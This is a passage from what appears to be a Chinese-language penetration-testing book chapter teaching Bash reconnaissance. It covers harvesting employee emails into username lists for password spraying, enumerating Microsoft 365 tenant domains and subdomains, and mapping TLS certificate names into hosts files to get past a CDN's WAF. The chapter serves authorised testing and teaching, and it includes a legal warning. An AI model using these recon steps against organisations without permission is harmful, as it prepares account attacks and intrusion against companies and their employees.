你还必须安装 Golang 和 Chaos 客户端。在第一章中有完整的 Golang 安装文档。你可以使用以下命令安装 Chaos 客户端:
$ go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest
介绍使用 Bash 进行侦察
当你对渗透测试充满热情时,直接进行扫描和攻击的冲动可能很难克服。在我的职业生涯中,有很多次我在进行主动扫描之前没有做到彻底的侦察工作,后来遇到了困难。这时,我发现回到侦察阶段,找到一些有价值的信息是成功的关键。
多年前我做过的一次渗透测试在我的记忆中脱颖而出。我当时正在对一个简单的带有登录表单的网页进行渗透测试。没有其他内容在范围内。我没有获得任何凭据。如果我设法找到有效的凭据或绕过登录表单,那就游戏结束。
我彻底攻击了登录表单三天,却一无所获。这时我回到了侦察阶段。最终我发现公司有一个 GitHub 账户,其中包含一些公共存储库。其中一个存储库包含在旧提交中隐藏的凭据。这些凭据已被删除,但 Git 保留了版本和历史记录,这使我能够提取并使用它们。登录并被重定向后,我发现自己完全控制了一个财务应用程序。
每种渗透测试都取决于在攻击目标之前进行研究。我做过的最成功的物理渗透测试之所以成功,是因为我们研究了目标公司的员工,并在社交媒体上找到了员工活动的高分辨率照片,这帮助我们制作了非常逼真的员工工牌副本。虽然我们的工牌无法通过电子工牌读卡器打开门,但结合我们的信心和借口(我们告诉员工为什么要访问的故事),我们说服员工给予我们访问权限。在同一家公司的无线渗透测试中,我们能够从停车场访问他们的员工无线网络,因为我们首先检查了他们的社交媒体和网站,并使用 Bash 制作了用于密码破解的单词和术语列表。
OSINT 是从公开来源收集和分析信息以产生可操作情报的过程。这种情报收集利用了来自各种媒体的数据,包括互联网、社交网络、公共记录和新闻报道。OSINT 可以在从国家安全到网络安全的各种活动中提供有价值的见解,而无需使用非法方法。
OSINT 的重要性在于其能够提供目标可用信息的全面视图,这对于攻击性和防御性安全措施都至关重要。对于安全渗透测试,OSINT 有助于识别潜在的漏洞,收集有关目标基础设施的详细信息,并了解可能被恶意行为者利用的组织和个人行为。通过 OSINT 获得的见解使测试人员能够更有效地模拟潜在的现实世界攻击。
在进行安全渗透测试之前,OSINT 期间收集的数据类型包括域名和 IP 地址信息、员工详细信息、电子邮件地址、社交媒体资料、文档元数据、网络配置和软件版本。这些信息有助于构建目标的详细资料,揭示可能被利用进行未经授权访问或数据泄露的入口点。
在下一节中,我们将通过学习如何使用 Bash 脚本来格式化用户名和密码来深入了解。这些技能在各种渗透测试场景中非常有用,比如钓鱼和密码喷洒。
格式化用户名和电子邮件地址
在渗透测试中,有一些情景需要枚举用户名和电子邮件地址。你可能需要它们用于钓鱼、密码喷洒或枚举有效账户。
如果你想在执行这个练习时跟着做,去 hunter.io 注册一个免费账户。这是一个用于查找公司员工姓名和电子邮件地址的网站。登录到你的免费账户后,在右上角的名字旁边点击下拉箭头,然后在菜单中点击 API。
图 8.1 – 从 hunter.io 菜单中选择 API
在这个页面上,你会找到各种类型 API 搜索的示例命令。在 域名搜索 下,点击 复制 按钮。在你的终端中输入以下命令,用你自己的 API 密钥替换 [redacted]:
$ curl https://api.hunter.io/v2/domain-search\?domain=stripe.com\&api_key=[redacted] > employees.txt
在 URL 中,你可以看到 domain=stripe.com 。显然,你会想要将域名更改为符合你的目标。
重要
本文中仅以 Stripe 作为示例,因为 hunter.io 网站的 API 页面中包含了它作为示例。如果没有书面许可,请不要攻击任何人。这不仅是非法和不道德的,而且当你被抓到时,你可能最终会坐牢。
接下来,cat 文本文件到终端,这样我们就可以查看输出格式。JSON 数据的第一级是 data ,如下图所示:
图 8.2 – JSON 第一级数据
最简单的 jq 过滤器是 jq . 。这个过滤器将输入作为输出产生相同的值。我们想要访问的数据是嵌套在 data 下面的。因此,我们的 jq 查询将以 .data[] 开头。输入以下命令并查看包含在 data 中的所有内容的输出,cat employees.txt | jq -r '.data[]' 。-r 参数只是告诉 jq 输出原始数据,不带转义和引号。
如果你查看嵌套在data下的信息,你会发现员工的电子邮件地址、姓名和职位被嵌套在emails下。基于我们之前的查询,接下来的命令将是cat employees.txt | jq -r '.data.emails[]'。你注意到这里有什么规律吗?当你想通过jq访问嵌套数据时,首先使用.符号并指定你要访问的第一个字段,然后使用方括号.first_level[]。如果你想访问更深一层的嵌套数据,则使用.first_level.second_level[]。在这个特定的例子中,我们想访问value(电子邮件地址)、first_name、last_name和position字段,这些字段嵌套在.data.emails[]下。因此,我们的jq查询将是.data.emails[] | [.value, .first_name, .last_name, .position],如下面的图所示:
图 8.3 – 我们的 jq 查询访问电子邮件地址和员工信息
现在我们已经获得了所需的信息,接下来的步骤是将其转化为更易于操作的格式,例如制表符分隔值(TSV)。让我们查阅jq的手册,看看如何进行这种转换。在终端输入man jq命令。jq程序有很多选项,但如果你继续滚动,你会找到一个名为格式字符串和转义的部分。在这一部分,我们发现逗号分隔值(CSV)和 TSV 分别对应@csv和@tsv。现在只需要将之前的查询管道传送到@tsv,如下面的图所示。确保你的管道符号和@tsv都被单引号包围:
图 8.4 – 我们的最终 jq 查询提取了所需的数据
如果我们有权限并且想要使用这些数据进行密码喷洒攻击网站的登录表单,我们可以推测,他们的内部 Active Directory 域用户账户很可能与电子邮件地址中@stripe.com之前的部分相同。然而,作为一名渗透测试员,你需要知道如何将名字和姓氏转换为不同的格式,例如first.last、f.last、first_last等。注意在图 8 4 中,名字和姓氏分别位于第 2 列和第 3 列。让我们创建一个简单的单行脚本,基于之前的命令,将名字和姓氏格式化为名字的首字母加姓氏:
图 8.5 – 将用户名格式化为名字首字母+姓氏
这里是awk命令的完整解释(使用单引号):
-
awk 'pattern {action}':你可能还记得在 第四章 中,awk命令的格式是模式和动作。模式是可选的,动作是必须的。 -
print tolower():这可能是显而易见的。它将输出打印为全小写。在这个awk函数内部,我们打印first_name(第二个字段或 3)。 -
(substr($2,1,1):在这里,我们正在对数据进行子字符串操作,数据由第二个字段(**2,1,2)`。
如果你想将用户名打印为 first_last,可以使用 awk '{print tolower($1 "_" $2)}' 命令,在名字和姓氏之间插入特定字符。
作为渗透测试员,你应该始终使用合适的工具来完成任务。在你职业生涯的早期,你更可能使用别人开发的工具。这些工具通常是用 Python 或 C 语言编写的。在进行 OSINT(开放源信息收集)时,许多工具是用 Python 编写的。不管你使用哪个工具,或者它是用什么语言写的,最终你都会需要过滤和格式化从工具中输入或输出的数据。正是这一章的概念将为你节省大量时间。
在下一节中,我们将探索如何使用 Bash 进行 DNS 枚举以发现目标。
使用 Bash 进行 DNS 枚举
作为渗透测试员,你通常会得到一个定义好的范围。范围就是你被允许测试的内容。通常它会以 IP 地址、网络地址、域名、URL 或这些的组合形式提供给你。另一方面,你也可能需要发现公司拥有的资产。
在我作为渗透测试员的早期阶段,在我开始做咨询工作之前,我花了大量时间进行 DNS 枚举,发现属于某个全球公司并收购了许多小公司的新资产。我花了几个月的时间发现我们收购的公司的 IP 地址、应用程序和域名。
首先,确保我们在域名术语上达成一致非常重要。我们需要快速了解顶级域名、根域名和子域名之间的区别。我将使用 www.example.com 作为这个例子的域名:
-
com:这是 顶级域名(TLD)。 -
example:这是根域名 -
www:这是子域名
在澄清术语之后,让我们看看如何发现与已知根域名相关的其他根域名的方法。
使用 Bash 扩展范围
本节内容专注于从公司的域名开始,发现暴露在互联网上的相关资产。
许多公司使用 Microsoft 365。如果公司已注册为拥有Microsoft Defender for Identity(MDI)的 Microsoft 租户,则以下脚本将发现租户名称并枚举所有在同一租户下注册的域。这是从简单域名开始,发现同一实体所有相关域名的有效方法。
脚本需要一个域名作为输入。你可以在本章的文件夹中找到它,GitHub 仓库中的文件名是ch08_check_mdi.sh。我将把代码分成更小的块,以便逐步解释每个部分。在阅读以下代码描述时,打开 GitHub 中的脚本进行对比将非常有帮助:
#!/usr/bin/env bash
get_domains() {
在前面的代码中,我们从熟悉的shebang开始,后面跟着get_domains函数的开头部分。
在这里,我们从第一个命令行参数创建一个domain变量:
domain=$1
在以下代码块中,我们创建了 HTTP 请求的 XML 主体,如下所示:
body="<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:exm=\"http://schemas.microsoft.com/exchange/services/2006/messages\"
xmlns:ext=\"http://schemas.microsoft.com/exchange/services/2006/types\"
xmlns:a=\"http://www.w3.org/2005/08/addressing\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">
<soap:Header>
<a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion>
<a:MessageID>urn:uuid:6389558d-9e05-465e-ade9-aae14c4bcd10</a:MessageID>
<a:Action soap:mustUnderstand=\"1\">http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation</a:Action>
<a:To soap:mustUnderstand=\"1\">https://autodiscover.byfcxu-dom.extest.microsoft.com/autodiscover/autodiscover.svc</a:To>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
</soap:Header>
<soap:Body>
<GetFederationInformationRequestMessage xmlns=\"http://schemas.microsoft.com/exchange/2010/Autodiscover\">
<Request>
<Domain>${domain}</Domain>
</Request>
</GetFederationInformationRequestMessage>
</soap:Body>
</soap:Envelope>"
在前面的代码中,我使用输入域$1创建了Simple Object Access Protocol(SOAP)请求主体。
在以下代码中,我使用命令扩展($())通过curl执行 HTTP POST请求,并将响应存储在response变量中:
response=$(curl -s -X POST -H "Content-type: text/xml; charset=utf-8" -H "User-agent: AutodiscoverClient" -d "$body" "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc")
包含 SOAP 请求主体的body变量在POST数据中被展开。请求被发送到 Microsoft 365 的自动发现服务。
以下代码检查响应是否为空(-z,零长度),如果是则退出。非零的exit代码表示进程以错误终止。
if [[ -z "$response" ]]; then
echo "[-] Unable to execute request. Wrong domain?" exit 1
fi
以下代码使用xmllint应用程序解析 XML 响应,提取域名并将结果存储在domains变量中:
domains=$(echo "$response" | xmllint --xpath '//*[local-name()="Domain"]/text()' -)
以下代码在响应中未找到任何域时退出:
if [[ -z "$domains" ]]; then
echo "[-] No domains found." exit 1
fi
在以下代码中,我们打印出找到的域名:
echo -e "\n[+] Domains found:"
echo "$domains" | tr ' ' '\n'
tr命令将第一个值替换为第二个值;在这种情况下,空格' '被替换为换行符'\n'。
以下代码从找到的域中提取租户名称:
tenant=$(echo "$domains" | tr ' ' '\n' | grep "onmicrosoft.com" | head -n 1 | cut -d'.' -f1)
tenant变量被赋值为将domains变量中的空格替换为换行符(tr ' ' '\n')后的结果。然后,它通过grep查找包含onmicrosoft.com的任何行。该数据被传递给head -n 1,选取第一行数据,然后将结果传递给cut命令,基本上是通过句点字符分割数据并选择第一个字段。
以下代码在未找到租户时退出:
if [[ -z "$tenant" ]]; then
echo "[-] No tenant found." exit 1
fi
以下代码打印找到的租户名称:
echo -e "\n[+] Tenant found: \n${tenant}"
以下代码调用check_mdi函数,并传入租户名称。闭括号结束get_domains函数。
check_mdi "$tenant"
}
在以下代码中,我声明了check_mdi函数以识别 MDI 使用情况:
check_mdi() {
以下代码将 MDI 域名后缀追加到租户名称中:
tenant="$1.atp.azure.com"
以下代码运行dig命令检查租户域名是否存在 MDI 实例:
if dig "$tenant" +short; then
echo -e "\n[+] An MDI instance was found for ${tenant}!\n"
else
echo -e "\n[-] No MDI instance was found for ${tenant}\n"
fi
}
如果找到 MDI 实例,它将打印一条正面消息。如果没有找到 MDI 实例,则打印一条负面消息。闭合大括号标志着check_mdi函数的结束。
以下代码检查是否提供了正确数量的参数,并且第一个参数是否为-d。逻辑或(||)操作意味着如果命令行参数的数量不等于两个,或者第一个参数不等于-d,则打印用法横幅并退出。
if [[ $# -ne 2 || $1 != "-d" ]]; then
# Print the usage information if the arguments are incorrect
echo "Usage: $0 -d <domain>"
exit 1
fi
以下代码声明了用户输入的domain参数。
domain=$2
以下代码调用get_domains函数,并传入提供的域名。
get_domains "$domain"
如果你使用一个知名的域名运行此脚本,你将在输出中发现一个不太为人所知的域名。实质上,这个脚本帮助你交叉参考由同一实体拥有的域名:
图 8.6 – 在 cdw.com 域上运行 check_mdi
上图中的脚本输出展示了我们的 Bash 脚本如何发现与目标域名相关的多个子域,从而大大扩展了我们的目标足迹。
使用 Bash 自动化子域名枚举
接下来,我将分享一些我保存在.bashrc文件中的 Bash 函数。我在外部渗透测试中使用这些函数,以便在进行端口和漏洞扫描之前,快速执行一些常见的侦察任务。首先,我会将代码分成小部分列出,并在过程中进行解释。最后,我将展示如何将这些函数结合使用,以枚举 DNS 及其输出。
第一个函数名为mdi,你已经在本章前面展示的ch08_check_mdi.sh脚本中见过它。我将只包括与ch08_check_mdi.sh中不同的部分。示例代码可以在 GitHub 代码库本章文件夹中的ch08_mdi_function.sh文件中找到:
mdi() {
# This function takes a domain as input and checks MDI and returns domains using the same tenant. while IFS= read -r line; do
body="<?xml version=\"1.0\" encoding=\"utf-8\"?>
在前面的代码中,我首先声明了一个名为mdi的函数。我将所有先前的代码嵌套在一个while循环内,该循环从标准输入(stdin)读取。这是读取管道输入所必需的,允许我们在函数之间传递数据。IFS=代码用于保留换行符,这在输入包含多行时是必需的。你可以将单个域名或以换行分隔的域名列表传递给此函数。
下一个函数是rootdomain。这个函数接受一个子域作为输入,并返回根域名。例如,如果你提供输入www.example.com,输出将是example.com。此函数用于从子域名中提取根域名,之后我可以将其发送给其他函数以查找更多子域。示例代码可以在 GitHub 代码库本章文件夹中的ch08_rootdomain_function.sh文件中找到:
rootdomain() {
# This function takes a subdomain as input and returns the root domain.
在前面的代码中,我首先声明了函数名称,接着是一个注释,解释了脚本的目的、输入和输出。
while IFS= read -r line; do
这一行开始了一个 while 循环,逐行读取输入。IFS= 将 internal field separator 设置为空,以防止去除前后空格。read -r 从标准输入读取一行并将其存入变量 line 中。
echo "$line" | awk -F. '
这一行回显当前行(子域名)并将其传递给 awk。-F. 选项告诉 awk 使用句点(.)作为字段分隔符。
{
这开启了 awk 脚本的代码块。
n = split($0, parts, ".");
这一行将当前行($0)按句点(.)分隔成一个名为 parts 的数组。n 变量存储数组中的元素个数。
if (n >= 3 && (parts[n-1] ~ /^(com|net|org|co|gov|edu|mil|int)$/ && parts[n] ~ /^[a-z]{2}$/)) {
该条件检查域名是否至少包含三个部分,并且倒数第二部分是否匹配常见的二级域名(例如 com,net,org,co,gov,edu,mil 或 int),后面跟着一个两位数的国家代码(例如 uk,us 或 de)。
print parts[n-2] "." parts[n-1] "." parts[n];
如果条件为真,这一行会打印根域名,它由倒数第三、倒数第二和最后一部分组成。
} else if (n >= 2) {
该条件检查域名是否至少包含两个部分(例如 example.com)。
print parts[n-1] "." parts[n];
如果条件为真,这一行会打印根域名,它由数组的倒数第二部分和最后一部分组成。
} else {
print $0;
如果没有满足上述条件(例如,输入的是单标签域名),这一行会打印原始输入。
}
}'
上述代码关闭了 if 块,然后关闭了 awk 块。请注意,当花括号关闭 if 块时,并没有像 Bash if 语句那样出现 fi 关键字。awk 对 if 块的语法稍有不同。
done
这关闭了 while 循环。
}
这个括号关闭了函数。
resolve 函数以域名为输入并返回一个 IP 地址。示例代码可以在本章文件夹中的 ch08_resolve_function.sh 文件中找到,该文件位于 GitHub 仓库中。
resolve() {
# This function takes a domain as input and returns the IP address.
这段代码是函数的开始,并包含一个注释,描述了函数的作用:它接受一个域名作为输入并返回其对应的 IP 地址。
while IFS= read -r line; do
这一行开始了一个 while 循环,逐行读取输入。IFS= 将内部字段分隔符设置为空,以防止去除前后空格。read -r 从标准输入读取一行并将其存入变量 line 中。
dig +short "$line" | grep -E '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$' | head -n 1
dig 是一个 DNS 查询工具。+short 选项使输出简洁,仅打印 IP 地址或 CNAME 记录。$line 是从输入中读取的域名。
done
return 0
}
done 关闭了 while 循环的 do 块。return 0 表示脚本成功完成,并向调用脚本或函数返回状态。
org 函数以 IP 地址为输入,并返回在 Whois 输出中找到的 OrgName 值。此信息告诉我们谁拥有该网络。示例代码可以在本章文件夹中的 ch08_org_function.sh 文件中找到,该文件位于 GitHub 仓库中:
org() {
# This function takes an IP address as input and returns the organization name that owns the IP block. while IFS= read -r line; do
whois "$line" | grep OrgName | tr -s ' ' | cut -d ' ' -f 2-
done
}
从函数的开始到while循环的开始,几乎与之前的脚本相同。以whois开头的行使用输入到函数中的 IP 地址运行whois命令,接着使用grep查找包含OrgName的行,运行tr -s ' '命令将多个空格压缩为一个空格,然后将输出传递给cut命令,指定空格为分隔符并选择第二个字段直到输入的末尾。tr程序非常适合将多个空格压缩为一个空格,但你也可以用它来将一个字符替换为另一个字符。cut程序指定分隔符(-d),后跟要切割的字段。
最后一个函数将其他函数结合在一起。它执行域名和子域名枚举,并打印子域名、IP 地址和OrgName。如果输入的域名是包含 MDI 的 Microsoft 365 租户的一部分,它还将查找任何相关的根域并枚举它们的子域名。这将显著增强子域名发现的能力。我单独使用 Chaos API 测试了一个特定的域名,它返回了 553 个活动子域名。当我运行这个函数并使用 MDI 结果将范围扩展到由同一家公司托管的相关域时,它返回了 3,682 个活动子域名。
示例代码可以在本章文件夹中的ch08_dnsrecon_function.sh文件中找到,文件位于 GitHub 仓库中。该脚本需要一个 ProjectDiscovery Chaos API 密钥(chaos.projectdiscovery.io/),该密钥可以在写作时免费获取。Chaos 是我找到的最完整的 DNS 数据源:
dnsrecon() {
# Check if the correct number of arguments is provided
if [[ $# -ne 1 ]]; then
echo "You didn't provide a domain as input." echo "Usage: $0 [domain]"
exit 1
fi
如果没有包含一个命令行参数,则打印用法信息并退出。
if [[ -z "$CHAOS_KEY" ]]; then
echo "No chaos API key found. Set env CHAOS_KEY." exit 1
fi
检查是否在环境变量中设置了 Chaos API 密钥。你应该在你的.bashrc文件中有一行看起来像CHAOS_KEY=[key value]。在你编辑.bashrc文件以添加 API 密钥后,你需要使用source ~/.bashrc命令使其生效。
local domain=$1
local domains=''
local roots=''
在这里,我声明了局部变量。虽然不严格要求在使用之前声明变量,但我根据个人偏好这么做。将变量声明为local可以确保它们的作用范围仅限于定义它们的函数,这有助于避免与全局变量或其他函数中的变量发生潜在冲突。当变量位于.bashrc文件中的函数时,这一点尤其重要,以防与其他变量发生冲突,因为这些函数在你的 Bash shell 中对所有内容都可用。
local mdi_result=$(mdi <<< "$domain")
这里,我将domain变量传递给mdi函数以获取相关域名列表。由于mdi函数设计为接受来自stdin的输入(echo example.com | mdi),而不是作为函数参数传递(mdi example.com),因此必须按照示例中所示的方式调用,并使用三个<字符。在 Bash 中,<<<是here-string运算符,用于将一个字符串直接传递给命令作为输入,而不是从文件或标准输入中读取。这个运算符基本上提供了一种快速将单行文本传递给命令的方式。
if [[ -z "$mdi_result" ]]; then
domains=$(chaos -silent -d "$domain")
如果mdi函数没有返回域名,将输入的域名直接传递给 Chaos API,并将输出赋值给domains变量。
else
echo "$mdi_result" | while IFS= read -r line; do
root=$(rootdomain <<< "$line")
chaos_domains=$(chaos -silent -d "$root")
domains=$(echo -e "$domains\n$chaos_domains")
done
这一部分将mdi_result变量的内容逐行传递给do** / **done块中的代码。每一行数据(一个域名)都传递给rootdomain函数。如果数据行是www.example.com,这个函数将返回example.com。然后,它将根域名传递给 Chaos API 调用,并将结果赋值给chaos_domains变量。最后,从 API 调用返回的子域名列表将附加到domains变量中的域名列表上。
domains=$(echo "$domains" | grep . | grep -v \* | sort -u)
fi
这段代码确保移除空行(grep .返回非空行),去除任何通配符域名(grep -v \*),然后去除重复项(sort -u)。
echo "$domains" | while IFS= read -r line; do
这段代码将domains变量中的每一行数据传递给do** / **done代码块。IFS=部分确保行尾符号保持不变。
ip=$(resolve <<< "$line")
if [[ -z "$ip" ]]; then
continue
fi
这段代码将domains变量中的每个域名传递给resolve函数,后者返回一个 IP 地址并将其存储在ip变量中。如果ip变量为空(-z,域名无法解析为 IP 地址),则返回true,并且continue关键字将短路当前的循环迭代,跳到下一次迭代。
orgname=$(org <<< "$ip")
echo "$line;$ip;$orgname"
done
}
如果域名成功解析为 IP 地址,数据将以Domain;IP;Org的格式输出。我选择使用分号作为字段分隔符,因为org值可能包含空格和逗号。
dnsrecon函数在命令行中以dnsrecon example.com的形式调用。以下是输出示例:
图 8.7 – dnsrecon 函数输出
上述图示中的输出显示我们的 Bash 脚本为我们提供了更多的目标,并包含了可以用来判断发现的域名是否在 IP 地址范围内的信息。
接下来,我们需要讨论 Web 应用程序如何使用域名来确定为网站访问者提供哪个应用程序。这对你的成功至关重要。
使用 Bash 识别 Web 应用程序
作为一名咨询渗透测试人员,如果你收到外部客户提供的 IP 或网络地址列表,你可能会养成只测试已定义的 IP 或网络地址,而没有进行足够的 OSINT 来发现所有域名的坏习惯。我在刚做渗透测试时也曾犯过这个错误,并且我也见过我指导的人这样做。之所以这样做不理想,是因为使用 IP 地址和域名访问网站时,Web 应用的行为是不同的。
托管多个应用程序的 Web 服务器、负载均衡器或反向代理,在 URL 或 HTTP HOST 头中使用 IP 地址时会返回默认站点。你可能不知道,实际上该 IP 地址上可能托管有其他网站,如果不进行 DNS 枚举并测试相关的域名,你绝对会错过发现易受攻击应用的机会。你可以在 portswigger.net/web-security/host-header 上阅读更多关于 HTTP HOST 头的信息。
这里有一个相关的例子。OWASP Juice Shop 是一个故意设计的易受攻击网站。你可以在 demo.owasp-juice.shop/#/ 找到一个例子。如果你 ping 测试这个主机名,你会看到以下内容:
图 8.8 – Ping 测试 OWASP Juice Shop 演示
如果你收到了范围内的 IP 地址 81.169.145.156 并扫描了这个 IP 地址,但没有进行子域名枚举,你会在浏览器中访问该网站并看到 未找到:
图 8.9 – 通过 IP 地址访问网站
在上图中,我为你高亮了相关部分。我通过 IP 地址请求了一个网页。你可能会看到这个响应并认为这个 IP 地址和端口并不有趣,便继续前进。然而,如果你访问该域名,你会看到以下网站,这个网站包含了许多漏洞:
图 8.10 – OWASP Juice Shop,一个易受攻击的 Web 应用
在开始扫描你的范围内的 IP 地址或网络地址之前,先花时间使用接下来展示的工具和技术,彻底枚举 DNS。然后,将解析到范围内 IP 地址的发现域名附加到你的范围文件的末尾。我无法强调这一点有多重要。这可能是导致零漏洞渗透测试报告(更不用说客户因为你的疏忽而被攻破的风险)与发现高影响漏洞之间的差异。如果你仅仅将网络或 IP 地址列表粘贴到漏洞扫描器中,然后根据扫描结果认为没有什么可以利用的漏洞,那么你就会忽视那些可以被利用的漏洞。
现在你更好地理解了 Web 应用程序如何使用HOST头部,在下一节中,我们将探讨如何发现任何特定 IP 地址上的 Web 服务器所提供的应用程序根目录或子域。获得这些信息对于我们在扫描 IP 或网络地址时的成功至关重要。
使用 Bash 进行证书枚举
我进行过一次外部网络渗透测试,测试范围内有成千上万的活动 IP 地址。我遇到的一个问题是,我被分配了大块网络地址,需要从这些 IP 地址中发现主机名,才能正确地扫描 Web 服务器。还记得本章早些时候,我演示了当你通过 IP 地址和主机名请求网站时,你看到的网页可能会有所不同吗?
那些 IP 地址中的许多被解析为 DNS 中的随机子域,它们通常是作为代理服务器,位于服务器池前面。我们还知道客户在其网站前使用了内容分发网络(CDN),并且流量经过Web 应用防火墙(WAF)的过滤,阻止了扫描网站的尝试。此外,如果我们通过域名请求网站,域名会解析到一个位于 CDN 上的 IP 地址,而这些 CDN IP 地址不在攻击范围内,因此我们无法攻击它们。
幸运的是,客户没有过滤传入流量,只允许 CDN 提供商的源 IP 地址。此时,我需要做的是发现每个 IP 地址上托管的网站,然后覆盖 DNS,以便我可以手动将域名映射到 IP 地址。这将让我能够直接访问 Web 应用程序。我想出了一个巧妙的方法来发现这些 IP 地址上托管的网站,并同时绕过 CDN 的 WAF。我发现 Nuclei(github.com/projectdiscovery/nuclei)漏洞扫描器有一个模板,可以用来发现与传输层安全性(TLS)证书相关的 DNS 名称。
TLS 证书是用于验证网站身份并启用加密连接的数字证书。它们包含证书持有者的信息、证书的公钥以及颁发证书颁发机构(CA)的数字签名。TLS 主题备用名称(SAN)是 X.509 规范的一个扩展,它允许用户为单个 SSL/TLS 证书指定其他主机名。这意味着一个证书可以保护多个域名和子域,从而简化证书管理并降低成本。
Nuclei 漏洞扫描器有一个扫描模板,可以从数字证书中提取 TLS SAN。首先,我使用 Nuclei 扫描了活动 IP 地址列表。以下是使用 Nuclei ssl-dns-names 模板扫描一个在撰写时属于 Hyatt Hotels 漏洞奖励计划范围内的网络地址(hackerone.com/hyatt/policy_scopes )的示例:
图 8.11 – 扫描网络中的 TLS 证书 SAN
确保在 图 8.11 中看到的 Nuclei 扫描命令中添加 -o [filename] 选项,以将输出保存到文件中。
现在我们有了这个输出,下一步是清理它并重新格式化为我们 hosts 文件的格式。hosts 文件是一个简单的文本文件,用于将主机名映射到 IP 地址。它是任何操作系统中网络堆栈的核心部分,包括 Linux。你可以通过输入 cat /** **etc/hosts 命令查看 hosts 文件的内容。
在继续之前,理解 DNS 在 hosts 文件中的工作原理非常重要。在 Linux 系统中,当你使用域名进行网络通信时,计算机必须将域名解析为 IP 地址。从最基本的层面来说,当你使用域名与其他主机进行网络通信时,第一步是计算机检查自己的主机名是否匹配。接下来,它会检查 hosts 文件中的条目。如果没有解析出主机名,它会与网络接口配置中的 DNS 服务器通信。本质上,在 hosts 文件中将域名硬编码到 IP 地址会覆盖 DNS。Microsoft Windows 也使用 hosts 文件来执行相同的操作,尽管它的位置不同。
以下截图显示了我在进行任何修改前的 hosts 文件内容:
图 8.12 – 我的 /etc/hosts 文件内容
hosts 文件中的条目从新的一行开始,先是一个 IP 地址,接着是制表符或空格,最后是一个或多个域名。你可以使用制表符或空格,只要保持一致。现在你已经理解了 hosts 文件的结构,接下来我们将学习如何将 Nuclei 扫描的数据重新格式化,以便插入到我们的 hosts 文件中。
以下代码将文件名作为唯一的命令行参数,并输出你可以复制并粘贴到 hosts 文件中的行。代码进行了详细注释,解释了每个部分的功能。示例代码可以在本章 GitHub 仓库中的 ch08_nuclei.sh 文件中找到。我将把代码分成小块,逐一解释。打开 GitHub 上的脚本进行对照将会对理解以下代码叙述有所帮助:
if [ "$#" -ne 1 ]; then
echo "Converts Nuclei ssl-dns-names scan output to hosts file format"
echo "Usage: $0 /path/to/file"
exit 1
fi
如果命令行没有传递文件路径,则打印使用说明并中止。首先检查参数数量($#)是否不等于(-ne)1。如果方括号中的条件为真,则回显脚本描述和使用示例并退出。
在以下代码中,我将文件内容通过管道传递给 cut 命令:
cat "$1" | cut -d ' ' -f 4- | \
cut 命令使用空格作为分隔符,从第 4 个字段到行末。输出通过管道传递到下一个命令。行尾的反斜杠(****)将命令延续到下一行。
在以下代码中,多个(6 个) sed 命令通过分号分隔:
sed 's/:443//;s/\[//g;s/\]//g;s/"//g;s/,/ /g;s/ \*\.[^ ]*//g' | \
-
仅系列 sed 命令的开始和结束部分用单引号括起来。
-
s/:443//:从输入中移除字符串:443。 -
s/\[//g:从输入中移除所有[字符。末尾的g表示 全局,即它会对每行中的所有匹配项应用替换。 -
s/\]//g:从输入中移除所有]字符(全局替换)。]字符必须使用反斜杠进行转义(****)。 -
s/"//g:从输入中移除所有双引号(")字符(全局替换)。 -
s/,/ /g:将所有逗号(,)字符替换为空格(全局替换)。 -
s/ \*\.[^ ]*//g:此表达式通常移除通配符子域条目,如*.example.com(全局替换)。它会移除任何空格后跟的*.(已转义)以及任何非空格字符的序列。记住,在 第四章 中,^字符可以有多种含义。在方括号外,它匹配单词或行的开头;在方括号内,它否定后续字符。在这种情况下,它表示 不匹配空格。 -
| \:最终,生成的输出通过管道(|)传递到后续的 sort 命令。反斜杠(****)字符允许命令继续到下一行。
输入是唯一排序的(-u),如图所示:
sort -u -k2 | \
数据根据第二个字段到行末进行排序(-k2)。如果我们不想对第二个字段到行末进行排序,而是仅对第二个字段进行排序,那么我们会使用 -k2,2。这些数字表示 开始 和 结束 字段,默认情况下,它们由空格分隔。
再次,输出通过管道传递到下一个命令,反斜杠将命令继续到下一行。
以下代码在初始化 new_line 变量为空字符串之前,启动了一个 awk 代码块:
awk '{
# Initialize new_line as an empty string
new_line = ""
for (i = 1; i <= NF; i++) {
在前面的代码的最后一行,我们在 awk 代码块内启动一个 for 循环,遍历当前记录中的所有字段。以下是该行的拆解:
-
i = 1:初始化i变量为1 -
i <= NF:i小于或等于字段的数量(NF) -
i++:递增i并重复循环
以下代码跳过任何通配符域名。通配符域名是指带有星号(*****)的域名:
if ($i !~ /\*/) {
new_line = new_line $i " "
}
在上述代码中,如果i的当前值不包含星号(*****),则将其与空格连接到new_line。
}
在上述代码中,右大括号(})结束了for循环。
sub(/[ \t]+$/, "", new_line)
上述代码行使用sub函数来修剪尾部的空格。sub的用法是sub(regex, replacement, target)。target值是可选的,如果不包含,则默认是整个当前记录($0)。
if (split(new_line, fields, " ") > 1) {
print new_line
}
}'
上述代码将new_line拆分成一个名为fields的数组,使用空格作为分隔符,然后仅在包含超过一列时打印新行。
这个脚本的输出如图所示。如果你将输出复制并粘贴到你的hosts文件中,它将在解析主机名时覆盖 DNS:
图 8.13 – ch08_nuclei_01.sh 脚本的输出
你可能会问,为什么我花这么多功夫去写一个脚本来创建三行,而不是直接复制粘贴。记住,这个练习最初是我在一次外部渗透测试中解决的一个挑战的例子,当时测试范围内有成千上万的活跃主机,脚本会打印出数百行,以便添加到我的hosts文件中。
将脚本输出添加到我的hosts文件后,当我扫描这些域名时,我可以确保这些名称解析到我选择的 IP 地址,而不是解析到一个由 WAF 保护的 CDN 的 IP 地址。
使用 Bash 格式化漏洞扫描目标
在前面的章节中,你已经学习了关于 HTTP HOST头部、TLS 证书 SAN 和hosts文件的内容。你还学习了如何解析 Nuclei 扫描报告并将数据格式化为可以在hosts文件中使用的形式。与此相关,你可能还需要说服你的漏洞扫描器在扫描目标时覆盖 DNS。
